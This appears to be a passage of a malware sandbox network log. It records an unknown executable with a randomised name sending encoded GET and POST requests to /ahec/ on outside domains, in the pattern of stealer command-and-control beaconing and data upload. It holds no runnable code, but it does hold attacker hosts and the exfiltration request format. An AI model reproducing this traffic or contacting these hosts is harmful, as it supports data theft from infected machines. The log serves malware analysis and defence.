79 48 39 35 55 51 50 43 52 35 59 4b 34 62 47 59 39 6e 4e 30 70 45 42 4d 49 44 71 51 6e 30 50 45 42 78 50 72 42 4d 2b 66 49 50 61 75 4c 4b 72 7a 43 65 58 77 4a 46 50 30 4e 4c 6a 2f 59 50 45 35 38 6d 66 79 5a 37 61 78 54 69 75 4d 58 66 63 4b 61 31 6d 34 55 32 4b 69 6c 68 4d 66 69 58 55 78 48 55 51 4e 77 55 71 79 6e 45 6a 52 6c 45 52 34 39 72 68 55 6a 4a 67 51 47 34 73 63 52 45 53 42 66 30 31 66 4d 57 72 55 65 63 63 42 78 55 42 36 61 48 37 64 36 68 5a 2b 4d 4e 74 4b 35 71 79 43 33 53 2b 31 58 57 73 61 5a 68 30 66 34 74 49 59 54 37 6a 56 48 57 78 77 30 34 32 36 61 58 45 4a 32 74 61 35 4e 6d 35 4a 4a 2b 4b 50 4a 4e 61 5a 68 6c 49 72 75 69 61 49 6d 76 56 50 41 6f 79 52 69 54 70 34 59 45 41 4a 61 73 52 44 53 49 7a 7a 77 38 4b 39 6d 72 74 71 69 64 48 53 66 66 53 36 4e 4a 69 6f 63 34 4d 6e 38 41 4a 37 77 69 32 39 77 41 50 70 61 72 34 73 48 57 42 70 49 4f 63 53 44 79 47 76 52 56 39 55 6b 44 79 74 64 72 44 4c 52 44 64 70 4d 2b 62 30 63 34 31 55 75 50 38 2b 41 77 2b 65 4f 62 35 74 59 5a 66 4d 58 72 66 4a 4a 66 34 31 75 4e 47 69 54 67 36 74 66 41 68 34 35 6d 76 6c 32 6c 73 79 56 37 67 76 42 58 68 6f 62 71 37 39 33 74 56 52 67 43 6d 54 44 55 34 58 6e 70 71 4e 2b 48 54 79 37 76 59 65 64 53 34 39 63 66 56 62 6b 31 64 55 50 6b 6d 4f 2b 55 34 42 62 49 47 39 2f 63 51 56 6c 36 50 48 79 49 75 59 55 4d 49 55 61 46 49 56 6e 50 50 61 45 37 73 48 6e 4b 76 58 46 34 45 69 6b 6e 76 70 30 57 4b 33 59 56 4b 57 78 30 75 4a 4c 33 57 2f 62 43 6c 70 4e 36 38 42 38 77 78 37 74 41 77 74 62 74 69 53 71 6c 68 48 53 7a 31 6e 6e 63 64 6d 65 74 5a 4d 73 68 61 63 32 53 33 32 53 6d 70 48 73 6f 76 63 47 73 6d 37 6d 4e 4c 79 33 57 48 4f 7a 73 69 4c 73 49 71 78 4b 5a 46 33 5a 63 54 63 34 44 2b 30 64 6e 6a 47 49 59 2f 69 37 47 6c 46 2f 53 6c 55 5a 55 37 36 63 78 72 5a 7a 7a 74 49 79 45 6e 6a 65 69 75 36 2f 42 6d 54 4d 54 79 4a 61 6b 2f 6e 51 57 6a 7a 6b 66 2b 36 6c 50 52 7a 51 54 50 45 48 68 42 6a 6b 39 5a 78 54 35 6c 74 38 74 52 36 43 30 42 51 4b 76 68 45 75 74 74 5a 77 37 52 47 44 2b 64 72 72 76 71 37 6d 47 59 78 64 67 34 71 6c 6d 64 75 51 34 48 43 6a 58 33 33 6a 32 33 79 4c 36 56 41 44 77 46 62 6f 6a 6c 36 34 4d 67 54 61 63 46 31 51 52 42 4b 70 71 53 65 4a 4f 48 67 45 77 68 41 56 67 6c 73 42 50 67 6b 6e 4c 71 74 63 35 6c 50 50 6c 68 44 4a 33 2b 35 41 56 46 4d 31 2b 78 59 79 34 6e 69 7a 5a 64 64 52 58 57 6b 78 59 59 65 37 68 31 6d 4a 39 63 76 6d 52 31 36 76 64 41 62 5a 70 51 31 73 64 48 46 4e 32 48 72 45 63 68 57 78 47 72 71 46 45 59 43 75 6d 51 64 52 4d 55 6a 34 47 35 44 66 62 2b 41 52 32 65 6e 39 55 4d 32 65 61 32 36 4f 32 58 61 2b 6d 30 73 67 32 2f 55 4e 42 43 64 31 4f 5a 33 62 41 69 66 37 66 59 72 47 34 31 4e 46 70 2f 4b 6e 4f 6f 58 58 49 51 30 35 6a 38 41 74 4f 6a 6a 66 48 63 69 35 70 54 77 2b 71 70 78 35 58 74 59 62 70 74 30 59 44 48 33 47 73 31 6c 31 69 36 33 66 73 64 4a 69 68 4c 6a 45 6f 30 6e 41 41 52 69 31 57 71 61 74 79 4a 51 77 33 6e 41 46 59 66 72 52 62 47 55 77 5a 6b 55 6e 6f 73 69 37 4d 52 6d 78 31 5a 70 73 2b 2b 74 79 31 48 70 53 53 57 42 2b 64 4c 37 70 67 6e 48 5a 49 50 33 59 32 36 33 6e 45 61 44 76 79 6a 6c 5a 43 6e 4b 64 73 48 4a 56 64 42 47 77 79 70 53 75 44 49 63 36 62 Data Ascii: XveXHZvx=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
Dec 8, 2023 14:52:23.430182934 CET	374	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:52:23 GMT Server: Apache/2.4.58 (Unix) Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49772	81.169.145.70	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:25.956589937 CET	471	OUT	GET /ahec/?XveXHZvx=pHT1kOem2IT0Y9TJ94VCHNnbNLZhsvH3XSVhoxxlik7UiuURsLT/Jzy3sp/tZoydu20sa6TfNH7nZl1KjnhQP0JKKbiUNKMEcA==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.fam-scharf.net Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:52:26.210994959 CET	374	IN	HTTP/1.1 404 Not Found Date: Fri, 08 Dec 2023 13:52:26 GMT Server: Apache/2.4.58 (Unix) Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49773	85.159.66.93	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:32.217535973 CET	744	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.magmadokum.com Origin: http://www.magmadokum.com Referer: http://www.magmadokum.com/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 4e 46 74 71 31 66 72 4c 33 79 67 31 77 61 43 42 39 61 69 6c 63 6f 64 35 5a 32 32 4e 50 46 44 55 4e 57 54 6b 51 50 4d 63 65 42 75 65 59 39 6e 4e 2f 75 4c 6e 59 69 43 33 6e 66 46 61 45 6d 64 51 56 36 65 46 55 43 61 78 66 67 64 52 70 4c 2f 72 63 77 73 45 42 76 6f 59 6a 72 4f 53 50 44 44 4b 68 4c 77 54 45 34 70 6c 50 56 54 59 37 6f 75 38 46 4b 6f 2f 4e 52 30 78 6e 43 70 4b 61 70 50 46 79 67 75 64 73 6e 55 5a 43 34 38 45 6a 65 76 4d 58 62 63 7a 33 6e 45 56 2f 42 52 77 4e 6b 63 4d 42 2f 58 59 38 72 58 33 47 42 71 79 65 52 30 34 47 67 3d 3d Data Ascii: XveXHZvx=NFtq1frL3yg1waCB9ailcod5Z22NPFDUNWTkQPMceBueY9nN/uLnYiC3nfFaEmdQV6eFUCaxfgdRpL/rcwsEBvoYjrOSPDDKhLwTE4plPVTY7ou8FKo/NR0xnCpKapPFygudsnUZC48EjevMXbcz3nEV/BRwNkcMB/XY8rX3GBqyeR04Gg==
Dec 8, 2023 14:52:32.558415890 CET	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Fri, 08 Dec 2023 13:52:32 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2023-12-08T13:52:37.4097576Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49774	85.159.66.93	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:35.026890993 CET	764	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.magmadokum.com Origin: http://www.magmadokum.com Referer: http://www.magmadokum.com/ahec/ Cache-Control: no-cache Content-Length: 209 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 4e 46 74 71 31 66 72 4c 33 79 67 31 78 36 79 42 2f 39 4f 6c 65 49 64 6d 56 57 32 4e 42 6c 44 59 4e 58 76 6b 51 4f 59 4d 5a 30 47 65 59 66 50 4e 2b 76 4c 6e 64 69 43 33 73 2f 46 54 4a 47 64 58 56 36 43 4e 55 43 57 78 66 68 39 52 70 4c 50 72 66 43 45 48 48 2f 6f 61 33 62 4f 55 4c 44 44 4b 68 4c 77 54 45 37 56 50 50 56 72 59 37 34 65 38 4b 50 63 34 41 78 30 77 78 53 70 4b 4d 70 50 42 79 67 75 46 73 69 77 6a 43 36 45 45 6a 66 66 4d 58 4b 63 30 2b 6e 45 58 67 52 51 63 65 33 68 66 4d 73 75 30 7a 5a 2f 71 59 46 37 47 62 45 59 72 42 56 70 33 75 4d 51 34 45 39 75 45 49 57 32 52 78 75 43 38 6d 47 67 3d Data Ascii: XveXHZvx=NFtq1frL3yg1x6yB/9OleIdmVW2NBlDYNXvkQOYMZ0GeYfPN+vLndiC3s/FTJGdXV6CNUCWxfh9RpLPrfCEHH/oa3bOULDDKhLwTE7VPPVrY74e8KPc4Ax0wxSpKMpPByguFsiwjC6EEjffMXKc0+nEXgRQce3hfMsu0zZ/qYF7GbEYrBVp3uMQ4E9uEIW2RxuC8mGg=
Dec 8, 2023 14:52:35.367470026 CET	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Fri, 08 Dec 2023 13:52:35 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 18 X-Rate-Limit-Reset: 2023-12-08T13:52:37.4097576Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49775	85.159.66.93	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:52:37.823259115 CET	10846	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.magmadokum.com Origin: http://www.magmadokum.com Referer: http://www.magmadokum.com/ahec/ Cache-Control: no-cache Content-Length: 10289 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 4e 46 74 71 31 66 72 4c 33 79 67 31 78 36 79 42 2f 39 4f 6c 65 49 64 6d 56 57 32 4e 42 6c 44 59 4e 58 76 6b 51 4f 59 4d 5a 79 65 65 62 73 33 4e 2f 4d 6a 6e 61 69 43 33 68 66 46 57 4a 47 63 53 56 36 61 4a 55 43 4b 62 66 6b 35 52 6f 6f 48 72 65 7a 45 48 4f 2f 6f 61 31 62 4f 56 50 44 44 6c 68 4c 41 4d 45 37 46 50 50 56 72 59 37 37 47 38 44 36 6f 34 43 78 30 78 6e 43 70 4f 61 70 4f 6d 79 67 32 56 73 6a 77 7a 42 4c 6b 45 74 63 33 4d 57 38 49 30 6d 33 45 76 6a 52 51 45 65 33 73 48 4d 73 43 4f 7a 59 4c 45 59 47 6e 47 49 68 5a 53 55 68 39 72 30 39 49 52 55 76 6d 49 47 68 48 45 31 38 6a 38 35 78 76 32 67 75 41 75 48 68 71 77 51 65 65 71 34 6e 68 4d 4c 2f 34 36 53 42 66 44 49 64 2f 63 4e 76 67 37 6c 39 6a 2b 51 63 71 51 36 6c 59 52 54 6e 7a 6a 70 49 6f 34 67 65 2b 6c 4d 55 55 61 69 5a 69 5a 42 78 65 6d 2b 53 57 49 48 38 67 62 45 64 34 41 59 6c 61 52 34 6c 56 6e 79 76 32 33 56 7a 52 55 73 59 34 42 67 4d 7a 44 69 48 6a 66 6b 65 69 38 61 54 71 2f 4c 44 61 4d 62 4b 41 79 33 2b 4f 44 76 54 4c 6f 42 55 66 72 50 62 70 65 46 6f 77 70 69 74 34 49 68 6f 53 4d 45 56 46 37 75 61 74 4f 2f 39 76 39 7a 72 54 64 61 79 55 73 4c 6f 31 49 75 66 4f 6c 68 68 46 43 58 4c 69 2f 6f 4a 34 37 36 34 63 69 68 6e 50 72 51 2b 78 63 43 54 48 36 70 43 75 2b 67 6e 4d 34 36 79 74 55 53 41 32 57 52 64 32 6e 2b 7a 74 39 61 54 46 68 59 53 61 48 6b 6e 48 4a 35 45 41 48 31 41 78 2b 7a 56 48 36 32 5a 44 79 35 34 49 57 73 35 35 44 57 50 6d 73 57 53 61 69 5a 4c 51 56 77 35 58 53 73 52 46 55 30 57 6c 43 70 33 62 50 2f 33 65 61 36 36 63 2f 49 50 53 45 70 39 43 34 69 49 53 73 6f 30 59 49 32 74 77 33 63 32 2f 61 4e 49 64 52 59 77 78 6a 68 76 62 42 4f 53 65 67 69 6a 6d 43 6e 64 37 59 65 44 4f 4b 32 7a 6b 73 33 2b 6d 65 6a 4d 70 37 50 73 56 50 74 31 4b 44 55 37 69 74 5a 37 59 61 34 55 30 6d 67 4d 61 32 33 6b 45 6c 31 6b 33 47 69 75 75 52 69 77 44 39 59 31 38 58 36 69 63 67 54 66 43 6d 33 44 71 64 50 46 75 70 64 4e 38 2f 75 53 61 68 79 54 2b 5a 49 70 36 4d 43 57 7a 36 52 4e 79 4b 64 33 70 63 68 76 2f 67 5a 52 42 35 42 6c 74 34 65 46 70 47 62 51 38 4c 6c 64 7a 6d 72 64 6d 57 51 2f 57 35 6b 6b 77 37 6b 4f 57 64 7a 46 4d 4d 35 6c 6f 65 39 70 36 38 77 67 61 5a 5a 33 64 54 4d 74 79 57 77 61 63 65 48 6b 64 30 4a 52 70 30 61 45 5a 4c 56 67 6c 5a 46 77 78 39 6a 41 75 2f 46 4c 42 4e 47 44 56 4c 6b 56 46 4a 75 69 30 42 62 62 62 4d 48 51 38 56 6f 61 47 61 36 46 42 49 50 76 51 7a 67 73 64 2f 4c 6c 6e 70 4e 66 45 48 62 69 6b 33 64 4b 45 72 77 31 32 51 53 61 30 78 54 4f 75 51 45 41 79 49 34 6f 2f 51 30 37 48 30 42 43 6b 70 76 4c 47 77 54 57 59 4e 36 6a 50 66 4f 59 41 41 74 6f 33 5a 58 62 33 79 67 43 55 4c 79 48 34 49 49 39 78 7a 64 31 49 2f 55 5a 41 37 52 44 4c 42 69 6e 77 55 74 78 4e 37 73 71 6f 4c 4a 51 37 59 6b 74 6a 49 32 34 44 54 48 45 30 6e 53 48 64 44 31 59 75 6f 64 56 4d 4f 50 41 36 59 34 6d 62 6d 68 6d 34 61 78 7a 62 41 2f 37 67 54 63 64 33 2b 49 76 30 7a 67 65 76 56 4e 64 55 46 48 5a 4b 57 72 41 39 63 57 2b 75 2b 56 6c 51 36 44 4b 37 69 35 70 49 2f 45 37 77 73 41 7a 61 66 6c 2f 7a 48 6f 4f 4f 31 68 6a 56 44 51 52 51 74 59 47 42 51 4f 63 44 79 74 42 7a 58 70 49 48 4d 55 64 31 73 4c 46 5a 68 52 43 45 6a 59 58 32 61 74 6a 37 6a 57 33 6b 31 41 6d 2b 69 35 70 5a 70 36 73 51 51 70 5a 30 76 78 64 43 74 6b 4c 79 6e 78 6c 48 47 56 36 44 38 67 75 32 6c 30 72 74 75 4c 56 48 4d 51 6f 2f 7a 49 56 56 56 37 4f 2f 70 4f 73 48 4e 63 49 53 66 47 31 47 51 53 6c 38 35 7a 52 71 79 77 49 59 54 67 4e 6d 47 6b 55 55 2f 31 30 2b 5a 75 51 49 31 65 34 42 43 33 30 78 4e 33 77 6c 33 45 70 77 6c 4a 73 2f 2f 4b 31 54 54 61 30 6b 6b 55 6a 33 4d 4f 33 2f 62 43 63 64 37 52 75 47 6e 6d 36 4e 74 56 62 69 67 66 6a 2f 61 4a 35 30 7a 63 37 68 47 4c 34 51 47 70 79 33 31 64 30 49 48 77 6d 5a 4c 37 62 38 48 76 7a 68 32 4d 43 6c 66 6b 6f 73 44 6d 4a 57 69 4d 44 56 2f 52 69 68 4a 66 4f 46 6c 4d 38 39 70 52 6d 41 35 42 37 56 65 54 63 6a 73 67 73 55 4a 53 39 49 77 53 49 69 4b 4b 6c 61 4a 45 47 4a 52 72 30 33 2f 32 75 72 55 7a 78 4c 42 6b 57 63 64 59 61 50 44 75 4a 7a 32 6b 64 66 44 51 45 43 5a 56 58 65 6d 70 6f 34 4d 6d 55 33 73 73 6b 34 56 50 76 4e 79 75 4e 69 68 43 71 76 57 7a 44 7a 6d 49 6b Data Ascii: XveXHZvx=NFtq1frL3yg1x6yB/9OleIdmVW2NBlDYNXvkQOYMZyeebs3N/MjnaiC3hfFWJGcSV6aJUCKbfk5RooHrezEHO/oa1bOVPDDlhLAME7FPPVrY77G8D6o4Cx0xnCpOapOmyg2VsjwzBLkEtc3MW8I0m3EvjRQEe3sHMsCOzYLEYGnGIhZSUh9r09IRUvmIGhHE18j85xv2guAuHhqwQeeq4nhML/46SBfDId/cNvg7l9j+QcqQ6lYRTnzjpIo4ge+lMUUaiZiZBxem+SWIH8gbEd4AYlaR4lVnyv23VzRUsY4BgMzDiHjfkei8aTq/LDaMbKAy3+ODvTLoBUfrPbpeFowpit4IhoSMEVF7uatO/9v9zrTdayUsLo1IufOlhhFCXLi/oJ4764cihnPrQ+xcCTH6pCu+gnM46ytUSA2WRd2n+zt9aTFhYSaHknHJ5EAH1Ax+zVH62ZDy54IWs55DWPmsWSaiZLQVw5XSsRFU0WlCp3bP/3ea66c/IPSEp9C4iISso0YI2tw3c2/aNIdRYwxjhvbBOSegijmCnd7YeDOK2zks3+mejMp7PsVPt1KDU7itZ7Ya4U0mgMa23kEl1k3GiuuRiwD9Y18X6icgTfCm3DqdPFupdN8/uSahyT+ZIp6MCWz6RNyKd3pchv/gZRB5Blt4eFpGbQ8LldzmrdmWQ/W5kkw7kOWdzFMM5loe9p68wgaZZ3dTMtyWwaceHkd0JRp0aEZLVglZFwx9jAu/FLBNGDVLkVFJui0BbbbMHQ8VoaGa6FBIPvQzgsd/LlnpNfEHbik3dKErw12QSa0xTOuQEAyI4o/Q07H0BCkpvLGwTWYN6jPfOYAAto3ZXb3yg